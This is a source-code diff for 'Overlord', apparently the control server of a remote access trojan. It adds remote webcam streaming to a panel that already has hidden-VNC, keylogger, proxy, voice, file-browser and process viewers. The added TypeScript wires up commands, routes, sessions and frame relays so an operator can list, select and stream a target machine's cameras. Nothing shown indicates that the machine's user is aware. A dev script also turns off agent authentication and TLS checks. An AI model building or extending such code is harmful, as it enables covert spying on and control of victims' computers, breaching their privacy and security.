handleNotificationViewerOpen: notificationPluginHandlers.handleNotificationViewerOpen,
|
handleNotificationViewerOpen: notificationPluginHandlers.handleNotificationViewerOpen,
|
||||||
handleConsoleViewerMessage,
|
handleConsoleViewerMessage,
|
||||||
handleRemoteDesktopViewerMessage,
|
handleRemoteDesktopViewerMessage,
|
||||||
|
handleWebcamViewerMessage,
|
||||||
handleHVNCViewerMessage,
|
handleHVNCViewerMessage,
|
||||||
handleFileBrowserViewerMessage,
|
handleFileBrowserViewerMessage,
|
||||||
handleProcessViewerMessage,
|
handleProcessViewerMessage,
|
||||||
@@ -395,6 +402,7 @@ async function startServer() {
|
|||||||
handlePluginEvent: notificationPluginHandlers.handlePluginEvent,
|
handlePluginEvent: notificationPluginHandlers.handlePluginEvent,
|
||||||
handleNotification: notificationPluginHandlers.handleNotification,
|
handleNotification: notificationPluginHandlers.handleNotification,
|
||||||
handleVoiceUplink,
|
handleVoiceUplink,
|
||||||
|
handleWebcamDevices,
|
||||||
cleanupVoiceViewer,
|
cleanupVoiceViewer,
|
||||||
stopConsoleOnTarget,
|
stopConsoleOnTarget,
|
||||||
sendDesktopCommand,
|
sendDesktopCommand,
|
||||||
|
|||||||
@@ -12,6 +12,7 @@ export type MessageKind =
|
|||||||
| "status"
|
| "status"
|
||||||
| "plugin_event"
|
| "plugin_event"
|
||||||
| "notification"
|
| "notification"
|
||||||
|
| "webcam_devices"
|
||||||
| "notification_config";
|
| "notification_config";
|
||||||
|
|
||||||
export type Hello = {
|
export type Hello = {
|
||||||
@@ -43,6 +44,11 @@ export type CommandType =
|
|||||||
| "input"
|
| "input"
|
||||||
| "remote_start"
|
| "remote_start"
|
||||||
| "remote_stop"
|
| "remote_stop"
|
||||||
|
| "webcam_start"
|
||||||
|
| "webcam_stop"
|
||||||
|
| "webcam_list"
|
||||||
|
| "webcam_select"
|
||||||
|
| "webcam_set_fps"
|
||||||
| "disconnect"
|
| "disconnect"
|
||||||
| "reconnect"
|
| "reconnect"
|
||||||
| "screenshot"
|
| "screenshot"
|
||||||
@@ -108,6 +114,7 @@ export type FrameHeader = {
|
|||||||
format: "jpeg" | "webp" | "raw" | "h264";
|
format: "jpeg" | "webp" | "raw" | "h264";
|
||||||
hash?: string;
|
hash?: string;
|
||||||
hvnc?: boolean;
|
hvnc?: boolean;
|
||||||
|
webcam?: boolean;
|
||||||
};
|
};
|
||||||
|
|
||||||
export type Frame = { type: "frame"; header: FrameHeader; data: Uint8Array };
|
export type Frame = { type: "frame"; header: FrameHeader; data: Uint8Array };
|
||||||
@@ -116,6 +123,18 @@ export type Status = {
|
|||||||
state: "idle" | "streaming" | "error";
|
state: "idle" | "streaming" | "error";
|
||||||
detail?: string;
|
detail?: string;
|
||||||
};
|
};
|
||||||
|
|
||||||
|
export type WebcamDevice = {
|
||||||
|
index: number;
|
||||||
|
name: string;
|
||||||
|
maxFps?: number;
|
||||||
|
};
|
||||||
|
|
||||||
|
export type WebcamDevices = {
|
||||||
|
type: "webcam_devices";
|
||||||
|
devices: WebcamDevice[];
|
||||||
|
selected: number;
|
||||||
|
};
|
||||||
export type ConsoleOutput = {
|
export type ConsoleOutput = {
|
||||||
type: "console_output";
|
type: "console_output";
|
||||||
sessionId: string;
|
sessionId: string;
|
||||||
|
|||||||
@@ -88,6 +88,30 @@ export async function handlePageRoutes(
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if (req.method === "GET" && url.pathname === "/webcam") {
|
||||||
|
const user = await authenticateRequest(req);
|
||||||
|
if (!user) {
|
||||||
|
return serveLoginOrUnauthorized(deps);
|
||||||
|
}
|
||||||
|
|
||||||
|
const maybeChange = await serveChangePasswordIfRequired(deps, user.userId);
|
||||||
|
if (maybeChange) return maybeChange;
|
||||||
|
|
||||||
|
if (user.role === "viewer") {
|
||||||
|
return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 });
|
||||||
|
}
|
||||||
|
|
||||||
|
const clientId = (url.searchParams.get("clientId") || "").trim();
|
||||||
|
if (!canAccessClientPage(user.userId, user.role, clientId)) {
|
||||||
|
return new Response("Forbidden: Client access denied", { status: 403 });
|
||||||
|
}
|
||||||
|
|
||||||
|
const file = Bun.file(`${deps.PUBLIC_ROOT}/webcam.html`);
|
||||||
|
if (await file.exists()) {
|
||||||
|
return new Response(file, { headers: deps.secureHeaders(deps.mimeType("webcam.html")) });
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
if (req.method === "GET" && url.pathname === "/hvnc") {
|
if (req.method === "GET" && url.pathname === "/hvnc") {
|
||||||
const user = await authenticateRequest(req);
|
const user = await authenticateRequest(req);
|
||||||
if (!user) {
|
if (!user) {
|
||||||
|
|||||||
@@ -29,9 +29,11 @@ type WsLifecycleDeps = {
|
|||||||
pendingCommandReplies: Map<string, PendingCommandReply>;
|
pendingCommandReplies: Map<string, PendingCommandReply>;
|
||||||
rdStreamingState: Map<string, unknown>;
|
rdStreamingState: Map<string, unknown>;
|
||||||
hvncStreamingState: Map<string, unknown>;
|
hvncStreamingState: Map<string, unknown>;
|
||||||
|
webcamStreamingState: Map<string, unknown>;
|
||||||
getNotificationConfig: () => { keywords?: string[]; minIntervalMs?: number };
|
getNotificationConfig: () => { keywords?: string[]; minIntervalMs?: number };
|
||||||
handleConsoleViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
|
handleConsoleViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
|
||||||
handleRemoteDesktopViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
|
handleRemoteDesktopViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
|
||||||
|
handleWebcamViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
|
||||||
handleHVNCViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
|
handleHVNCViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
|
||||||
handleFileBrowserViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
|
handleFileBrowserViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
|
||||||
handleProcessViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
|
handleProcessViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
|
||||||
@@ -41,6 +43,7 @@ type WsLifecycleDeps = {
|
|||||||
handleNotificationViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
|
handleNotificationViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
|
||||||
handleConsoleViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
|
handleConsoleViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
|
||||||
handleRemoteDesktopViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
|
handleRemoteDesktopViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
|
||||||
|
handleWebcamViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
|
||||||
handleHVNCViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
|
handleHVNCViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
|
||||||
handleFileBrowserViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
|
handleFileBrowserViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
|
||||||
handleProcessViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
|
handleProcessViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
|
||||||
@@ -67,6 +70,7 @@ type WsLifecycleDeps = {
|
|||||||
handlePluginEvent: (clientId: string, payload: any) => void;
|
handlePluginEvent: (clientId: string, payload: any) => void;
|
||||||
handleNotification: (clientId: string, payload: any) => void;
|
handleNotification: (clientId: string, payload: any) => void;
|
||||||
handleVoiceUplink: (clientId: string, payload: any) => void;
|
handleVoiceUplink: (clientId: string, payload: any) => void;
|
||||||
|
handleWebcamDevices: (clientId: string, payload: any) => void;
|
||||||
cleanupVoiceViewer: (ws: ServerWebSocket<SocketData>) => void;
|
cleanupVoiceViewer: (ws: ServerWebSocket<SocketData>) => void;
|
||||||
stopConsoleOnTarget: (target: ClientInfo | undefined, sessionId: string) => void;
|
stopConsoleOnTarget: (target: ClientInfo | undefined, sessionId: string) => void;
|
||||||
sendDesktopCommand: (target: ClientInfo | undefined, commandType: string, payload: Record<string, unknown>) => void;
|
sendDesktopCommand: (target: ClientInfo | undefined, commandType: string, payload: Record<string, unknown>) => void;
|
||||||
@@ -82,6 +86,7 @@ export function handleWebSocketOpen(ws: ServerWebSocket<SocketData>, deps: WsLif
|
|||||||
const ip = ws.data.ip;
|
const ip = ws.data.ip;
|
||||||
if (role === "console_viewer") return deps.handleConsoleViewerOpen(ws);
|
if (role === "console_viewer") return deps.handleConsoleViewerOpen(ws);
|
||||||
if (role === "rd_viewer") return deps.handleRemoteDesktopViewerOpen(ws);
|
if (role === "rd_viewer") return deps.handleRemoteDesktopViewerOpen(ws);
|
||||||
|
if (role === "webcam_viewer") return deps.handleWebcamViewerOpen(ws);
|
||||||
if (role === "hvnc_viewer") return deps.handleHVNCViewerOpen(ws);
|
if (role === "hvnc_viewer") return deps.handleHVNCViewerOpen(ws);
|
||||||
if (role === "file_browser_viewer") return deps.handleFileBrowserViewerOpen(ws);
|
if (role === "file_browser_viewer") return deps.handleFileBrowserViewerOpen(ws);
|
||||||
if (role === "process_viewer") return deps.handleProcessViewerOpen(ws);
|
if (role === "process_viewer") return deps.handleProcessViewerOpen(ws);
|
||||||
@@ -140,6 +145,7 @@ export function handleWebSocketMessage(
|
|||||||
const socketRole = ws.data.role as string;
|
const socketRole = ws.data.role as string;
|
||||||
if (socketRole === "console_viewer") return deps.handleConsoleViewerMessage(ws, message);
|
if (socketRole === "console_viewer") return deps.handleConsoleViewerMessage(ws, message);
|
||||||
if (socketRole === "rd_viewer") return deps.handleRemoteDesktopViewerMessage(ws, message);
|
if (socketRole === "rd_viewer") return deps.handleRemoteDesktopViewerMessage(ws, message);
|
||||||
|
if (socketRole === "webcam_viewer") return deps.handleWebcamViewerMessage(ws, message);
|
||||||
if (socketRole === "hvnc_viewer") return deps.handleHVNCViewerMessage(ws, message);
|
if (socketRole === "hvnc_viewer") return deps.handleHVNCViewerMessage(ws, message);
|
||||||
if (socketRole === "file_browser_viewer") return deps.handleFileBrowserViewerMessage(ws, message);
|
if (socketRole === "file_browser_viewer") return deps.handleFileBrowserViewerMessage(ws, message);
|
||||||
if (socketRole === "process_viewer") return deps.handleProcessViewerMessage(ws, message);
|
if (socketRole === "process_viewer") return deps.handleProcessViewerMessage(ws, message);
|
||||||
@@ -285,6 +291,9 @@ export function handleWebSocketMessage(
|
|||||||
case "voice_uplink":
|
case "voice_uplink":
|
||||||
deps.handleVoiceUplink(info.id, payload);
|
deps.handleVoiceUplink(info.id, payload);
|
||||||
break;
|
break;
|
||||||
|
case "webcam_devices":
|
||||||
|
deps.handleWebcamDevices(info.id, payload);
|
||||||
|
break;
|
||||||
default:
|
default:
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
@@ -332,6 +341,26 @@ export function handleWebSocketClose(
|
|||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if (role === "webcam_viewer") {
|
||||||
|
let removedClientId = clientId;
|
||||||
|
for (const [sid, sess] of sessionManager.getAllWebcamSessions().entries()) {
|
||||||
|
if (sess.viewer === ws) {
|
||||||
|
removedClientId = sess.clientId;
|
||||||
|
sessionManager.getAllWebcamSessions().delete(sid);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
const stillViewing = Array.from(sessionManager.getAllWebcamSessions().values()).some((s) => s.clientId === removedClientId);
|
||||||
|
if (!stillViewing) {
|
||||||
|
const target = clientManager.getClient(removedClientId);
|
||||||
|
deps.sendDesktopCommand(target, "webcam_stop", {});
|
||||||
|
deps.webcamStreamingState.delete(removedClientId);
|
||||||
|
logger.debug(`[webcam] cleaned up state for client ${removedClientId}`);
|
||||||
|
}
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
if (role === "hvnc_viewer") {
|
if (role === "hvnc_viewer") {
|
||||||
let removedClientId = clientId;
|
let removedClientId = clientId;
|
||||||
for (const [sid, sess] of sessionManager.getAllHvncSessions().entries()) {
|
for (const [sid, sess] of sessionManager.getAllHvncSessions().entries()) {
|
||||||
|
|||||||
@@ -91,6 +91,24 @@ export async function handleWsUpgradeRoutes(
|
|||||||
return new Response("Upgrade failed", { status: 500 });
|
return new Response("Upgrade failed", { status: 500 });
|
||||||
}
|
}
|
||||||
|
|
||||||
|
const webcamMatch = url.pathname.match(/^\/api\/clients\/(.+)\/webcam\/ws$/);
|
||||||
|
if (webcamMatch) {
|
||||||
|
const user = await authenticateRequest(req);
|
||||||
|
if (!user) {
|
||||||
|
return new Response("Unauthorized", { status: 401 });
|
||||||
|
}
|
||||||
|
|
||||||
|
if (user.role === "viewer") {
|
||||||
|
return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 });
|
||||||
|
}
|
||||||
|
const clientId = webcamMatch[1];
|
||||||
|
const ip = server.requestIP(req)?.address || "";
|
||||||
|
if (server.upgrade(req, { data: { role: "webcam_viewer", clientId, ip, userRole: user.role } })) {
|
||||||
|
return new Response();
|
||||||
|
}
|
||||||
|
return new Response("Upgrade failed", { status: 500 });
|
||||||
|
}
|
||||||
|
|
||||||
const fbMatch = url.pathname.match(/^\/api\/clients\/(.+)\/files\/ws$/);
|
const fbMatch = url.pathname.match(/^\/api\/clients\/(.+)\/files\/ws$/);
|
||||||
if (fbMatch) {
|
if (fbMatch) {
|
||||||
const user = await authenticateRequest(req);
|
const user = await authenticateRequest(req);
|
||||||
|
|||||||
@@ -194,7 +194,7 @@ export function handleRemoteDesktopViewerOpen(ws: ServerWebSocket<SocketData>) {
|
|||||||
safeSendViewer(ws, { type: "status", status: "offline", reason: "Client is offline", sessionId });
|
safeSendViewer(ws, { type: "status", status: "offline", reason: "Client is offline", sessionId });
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
safeSendViewer(ws, { type: "status", status: "connecting", sessionId });
|
safeSendViewer(ws, { type: "status", status: "online", sessionId });
|
||||||
}
|
}
|
||||||
|
|
||||||
export function notifyRemoteDesktopStatus(clientId: string, status: string, reason?: string) {
|
export function notifyRemoteDesktopStatus(clientId: string, status: string, reason?: string) {
|
||||||
@@ -385,6 +385,86 @@ function handleRemoteDesktopFrame(payload: any) {
|
|||||||
};
|
};
|
||||||
|
|
||||||
export const hvncStreamingState = new Map<string, { isStreaming: boolean; display: number; quality: number; codec: string }>();
|
export const hvncStreamingState = new Map<string, { isStreaming: boolean; display: number; quality: number; codec: string }>();
|
||||||
|
export const webcamStreamingState = new Map<string, { isStreaming: boolean; deviceIndex: number; fps: number; useMax: boolean }>();
|
||||||
|
|
||||||
|
export function handleWebcamViewerOpen(ws: ServerWebSocket<SocketData>) {
|
||||||
|
const { clientId } = ws.data;
|
||||||
|
const sessionId = uuidv4();
|
||||||
|
const target = clientManager.getClient(clientId);
|
||||||
|
const session: RemoteDesktopViewer = { id: sessionId, clientId, viewer: ws, createdAt: Date.now() };
|
||||||
|
sessionManager.getAllWebcamSessions().set(sessionId, session);
|
||||||
|
safeSendViewer(ws, { type: "ready", sessionId, clientId, clientOnline: !!target });
|
||||||
|
if (!target) {
|
||||||
|
safeSendViewer(ws, { type: "status", status: "offline", reason: "Client is offline", sessionId });
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
safeSendViewer(ws, { type: "status", status: "online", sessionId });
|
||||||
|
sendDesktopCommand(target, "webcam_list", {});
|
||||||
|
}
|
||||||
|
|
||||||
|
export function handleWebcamDevices(clientId: string, payload: any) {
|
||||||
|
for (const session of sessionManager.getAllWebcamSessions().values()) {
|
||||||
|
if (session.clientId !== clientId) continue;
|
||||||
|
safeSendViewer(session.viewer, payload);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
export function handleWebcamViewerMessage(ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) {
|
||||||
|
const payload = decodeViewerPayload(raw);
|
||||||
|
if (!payload || typeof payload.type !== "string") return;
|
||||||
|
const { clientId } = ws.data;
|
||||||
|
const target = clientManager.getClient(clientId);
|
||||||
|
if (!target) {
|
||||||
|
safeSendViewer(ws, { type: "status", status: "offline" });
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
const state = webcamStreamingState.get(clientId) || { isStreaming: false, deviceIndex: 0, fps: 30, useMax: false };
|
||||||
|
switch (payload.type) {
|
||||||
|
case "webcam_list":
|
||||||
|
sendDesktopCommand(target, "webcam_list", {});
|
||||||
|
break;
|
||||||
|
case "webcam_select": {
|
||||||
|
const index = Math.max(0, Number(payload.index) || 0);
|
||||||
|
state.deviceIndex = index;
|
||||||
|
webcamStreamingState.set(clientId, state);
|
||||||
|
sendDesktopCommand(target, "webcam_select", { index });
|
||||||
|
if (state.isStreaming) {
|
||||||
|
sendDesktopCommand(target, "webcam_stop", {});
|
||||||
|
sendDesktopCommand(target, "webcam_start", {});
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
case "webcam_set_fps": {
|
||||||
|
if (state.isStreaming) {
|
||||||
|
safeSendViewer(ws, { type: "status", status: "error", reason: "Stop stream before changing FPS" });
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
const fps = Math.max(1, Math.min(120, Number(payload.fps) || 30));
|
||||||
|
const useMax = !!payload.useMax;
|
||||||
|
state.fps = fps;
|
||||||
|
state.useMax = useMax;
|
||||||
|
webcamStreamingState.set(clientId, state);
|
||||||
|
sendDesktopCommand(target, "webcam_set_fps", { fps, useMax });
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
case "webcam_start":
|
||||||
|
if (!state.isStreaming) {
|
||||||
|
sendDesktopCommand(target, "webcam_set_fps", { fps: state.fps, useMax: state.useMax });
|
||||||
|
sendDesktopCommand(target, "webcam_start", {});
|
||||||
|
state.isStreaming = true;
|
||||||
|
webcamStreamingState.set(clientId, state);
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
case "webcam_stop":
|
||||||
|
sendDesktopCommand(target, "webcam_stop", {});
|
||||||
|
state.isStreaming = false;
|
||||||
|
webcamStreamingState.set(clientId, state);
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
export function handleHVNCViewerOpen(ws: ServerWebSocket<SocketData>) {
|
export function handleHVNCViewerOpen(ws: ServerWebSocket<SocketData>) {
|
||||||
const { clientId } = ws.data;
|
const { clientId } = ws.data;
|
||||||
@@ -518,6 +598,16 @@ export function sendHVNCCommand(target: ClientInfo, commandType: string, payload
|
|||||||
return sent;
|
return sent;
|
||||||
};
|
};
|
||||||
|
|
||||||
|
(globalThis as any).__webcamBroadcast = (clientId: string, bytes: Uint8Array, header?: any): boolean => {
|
||||||
|
let sent = false;
|
||||||
|
for (const session of sessionManager.getAllWebcamSessions().values()) {
|
||||||
|
if (session.clientId !== clientId) continue;
|
||||||
|
safeSendViewerFrame(session.viewer, bytes, header);
|
||||||
|
sent = true;
|
||||||
|
}
|
||||||
|
return sent;
|
||||||
|
};
|
||||||
|
|
||||||
const textDecoder = new TextDecoder();
|
const textDecoder = new TextDecoder();
|
||||||
|
|
||||||
export function handleConsoleViewerMessage(ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) {
|
export function handleConsoleViewerMessage(ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) {
|
||||||
|
|||||||
@@ -12,6 +12,7 @@ import type {
|
|||||||
|
|
||||||
const consoleSessions = new Map<string, ConsoleSession>();
|
const consoleSessions = new Map<string, ConsoleSession>();
|
||||||
const rdSessions = new Map<string, RemoteDesktopViewer>();
|
const rdSessions = new Map<string, RemoteDesktopViewer>();
|
||||||
|
const webcamSessions = new Map<string, RemoteDesktopViewer>();
|
||||||
const hvncSessions = new Map<string, RemoteDesktopViewer>(); // HVNC uses same structure as RD
|
const hvncSessions = new Map<string, RemoteDesktopViewer>(); // HVNC uses same structure as RD
|
||||||
const fileBrowserSessions = new Map<string, FileBrowserViewer>();
|
const fileBrowserSessions = new Map<string, FileBrowserViewer>();
|
||||||
const processSessions = new Map<string, ProcessViewer>();
|
const processSessions = new Map<string, ProcessViewer>();
|
||||||
@@ -48,6 +49,28 @@ export function addRdSession(session: RemoteDesktopViewer): void {
|
|||||||
rdSessions.set(session.id, session);
|
rdSessions.set(session.id, session);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
export function addWebcamSession(session: RemoteDesktopViewer): void {
|
||||||
|
webcamSessions.set(session.id, session);
|
||||||
|
}
|
||||||
|
|
||||||
|
export function getWebcamSession(
|
||||||
|
sessionId: string,
|
||||||
|
): RemoteDesktopViewer | undefined {
|
||||||
|
return webcamSessions.get(sessionId);
|
||||||
|
}
|
||||||
|
|
||||||
|
export function deleteWebcamSession(sessionId: string): boolean {
|
||||||
|
return webcamSessions.delete(sessionId);
|
||||||
|
}
|
||||||
|
|
||||||
|
export function getWebcamSessionsByClient(clientId: string): RemoteDesktopViewer[] {
|
||||||
|
return Array.from(webcamSessions.values()).filter((s) => s.clientId === clientId);
|
||||||
|
}
|
||||||
|
|
||||||
|
export function getAllWebcamSessions(): Map<string, RemoteDesktopViewer> {
|
||||||
|
return webcamSessions;
|
||||||
|
}
|
||||||
|
|
||||||
export function getRdSession(
|
export function getRdSession(
|
||||||
sessionId: string,
|
sessionId: string,
|
||||||
): RemoteDesktopViewer | undefined {
|
): RemoteDesktopViewer | undefined {
|
||||||
|
|||||||
@@ -5,6 +5,7 @@ export type SocketRole =
|
|||||||
| ClientRole
|
| ClientRole
|
||||||
| "console_viewer"
|
| "console_viewer"
|
||||||
| "rd_viewer"
|
| "rd_viewer"
|
||||||
|
| "webcam_viewer"
|
||||||
| "file_browser_viewer"
|
| "file_browser_viewer"
|
||||||
| "process_viewer"
|
| "process_viewer"
|
||||||
| "notifications_viewer"
|
| "notifications_viewer"
|
||||||
|
|||||||
@@ -140,7 +140,14 @@ export function handleFrame(info: ClientInfo, payload: any) {
|
|||||||
let sentToViewers = false;
|
let sentToViewers = false;
|
||||||
try {
|
try {
|
||||||
const globalAny: any = globalThis as any;
|
const globalAny: any = globalThis as any;
|
||||||
if (header?.hvnc) {
|
if (header?.webcam) {
|
||||||
|
if (globalAny.__webcamBroadcast) {
|
||||||
|
sentToViewers = globalAny.__webcamBroadcast(info.id, bytes, header);
|
||||||
|
}
|
||||||
|
if (sentToViewers) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
} else if (header?.hvnc) {
|
||||||
if (globalAny.__hvncBroadcast) {
|
if (globalAny.__hvncBroadcast) {
|
||||||
sentToViewers = globalAny.__hvncBroadcast(info.id, bytes, header);
|
sentToViewers = globalAny.__hvncBroadcast(info.id, bytes, header);
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,4 +1,4 @@
|
|||||||
export type SocketRole = "client" | "viewer" | "console_viewer" | "rd_viewer" | "hvnc_viewer" | "file_browser_viewer" | "process_viewer" | "keylogger_viewer" | "proxy_viewer" | "voice_viewer" | "notifications_viewer";
|
export type SocketRole = "client" | "viewer" | "console_viewer" | "rd_viewer" | "webcam_viewer" | "hvnc_viewer" | "file_browser_viewer" | "process_viewer" | "keylogger_viewer" | "proxy_viewer" | "voice_viewer" | "notifications_viewer";
|
||||||
|
|
||||||
export const ALLOWED_CLIENT_MESSAGE_TYPES = new Set([
|
export const ALLOWED_CLIENT_MESSAGE_TYPES = new Set([
|
||||||
"hello",
|
"hello",
|
||||||
@@ -24,6 +24,7 @@ export const ALLOWED_CLIENT_MESSAGE_TYPES = new Set([
|
|||||||
"keylog_clear_result",
|
"keylog_clear_result",
|
||||||
"keylog_delete_result",
|
"keylog_delete_result",
|
||||||
"voice_uplink",
|
"voice_uplink",
|
||||||
|
"webcam_devices",
|
||||||
]);
|
]);
|
||||||
|
|
||||||
export function isAllowedClientMessageType(type: string): boolean {
|
export function isAllowedClientMessageType(type: string): boolean {
|
||||||
|
|||||||
+2
-4
@@ -1,6 +1,4 @@
|
|||||||
github.com/gen2brain/x264-go v0.3.1 h1:XFi6y8HM5BCMrP4kR/o711iBU++XNfLOY3PG8Alz2kU=
|
|
||||||
github.com/gen2brain/x264-go v0.3.1/go.mod h1:+Z4VKXQrUKzbfEv36GyiyjXfixmOp2c820ugsMthW18=
|
|
||||||
github.com/gen2brain/x264-go/x264c v0.0.0-20221204084822-82ee2951dea2 h1:4GzTsZK/uG+tHvWR2ORcTCGTC4+mgOPhkUdz/Ro9alg=
|
github.com/gen2brain/x264-go/x264c v0.0.0-20221204084822-82ee2951dea2 h1:4GzTsZK/uG+tHvWR2ORcTCGTC4+mgOPhkUdz/Ro9alg=
|
||||||
github.com/gen2brain/x264-go/x264c v0.0.0-20221204084822-82ee2951dea2/go.mod h1:MUMv+ZURlTO3qH8QAt2gxiIY5X4NMaxObz2ImZOMvyA=
|
github.com/gen2brain/x264-go/x264c v0.0.0-20221204084822-82ee2951dea2/go.mod h1:MUMv+ZURlTO3qH8QAt2gxiIY5X4NMaxObz2ImZOMvyA=
|
||||||
github.com/gen2brain/x264-go/yuv v0.0.0-20221204084822-82ee2951dea2 h1:lihaRUKRj94EWVZRp1jTmEiIxmvjEiSb9fJl2xftrXY=
|
gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
|
||||||
github.com/gen2brain/x264-go/yuv v0.0.0-20221204084822-82ee2951dea2/go.mod h1:PzzJntdOaVt4Gc37fNaEXpqmhKkUgd/xqyPMUfx+FQc=
|
gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
|
||||||
|
|||||||
+1
-1
@@ -28,7 +28,7 @@ set OVERLORD_DISABLE_AGENT_AUTH=true
|
|||||||
set LOG_LEVEL=debug
|
set LOG_LEVEL=debug
|
||||||
|
|
||||||
start "Overlord-Server" cmd /k "cd /d %ROOT%Overlord-Server && set OVERLORD_DISABLE_AGENT_AUTH=true && set OVERLORD_AGENT_TOKEN=dev-token-insecure-local-only && set LOG_LEVEL=debug && set NODE_ENV=development && bun install && bun run start"
|
start "Overlord-Server" cmd /k "cd /d %ROOT%Overlord-Server && set OVERLORD_DISABLE_AGENT_AUTH=true && set OVERLORD_AGENT_TOKEN=dev-token-insecure-local-only && set LOG_LEVEL=debug && set NODE_ENV=development && bun install && bun run start"
|
||||||
timeout /t 1 /nobreak >nul
|
timeout /t 2 /nobreak >nul
|
||||||
start "Overlord-Client" cmd /k "cd /d %ROOT%Overlord-Client && set OVERLORD_SERVER=wss://localhost:5173 && set OVERLORD_AGENT_TOKEN=dev-token-insecure-local-only && set OVERLORD_TLS_INSECURE_SKIP_VERIFY=true && set OVERLORD_MODE=dev && set GOINSECURE=* && set GOSUMDB=off && set GOPROXY=https://proxy.golang.org,direct && go mod tidy && go run ./cmd/agent"
|
start "Overlord-Client" cmd /k "cd /d %ROOT%Overlord-Client && set OVERLORD_SERVER=wss://localhost:5173 && set OVERLORD_AGENT_TOKEN=dev-token-insecure-local-only && set OVERLORD_TLS_INSECURE_SKIP_VERIFY=true && set OVERLORD_MODE=dev && set GOINSECURE=* && set GOSUMDB=off && set GOPROXY=https://proxy.golang.org,direct && go mod tidy && go run ./cmd/agent"
|
||||||
|
|
||||||
echo Done. Terminals stay open (/k) for logs.
|
echo Done. Terminals stay open (/k) for logs.
|
||||||
|
|||||||
Reference in New Issue
Block a user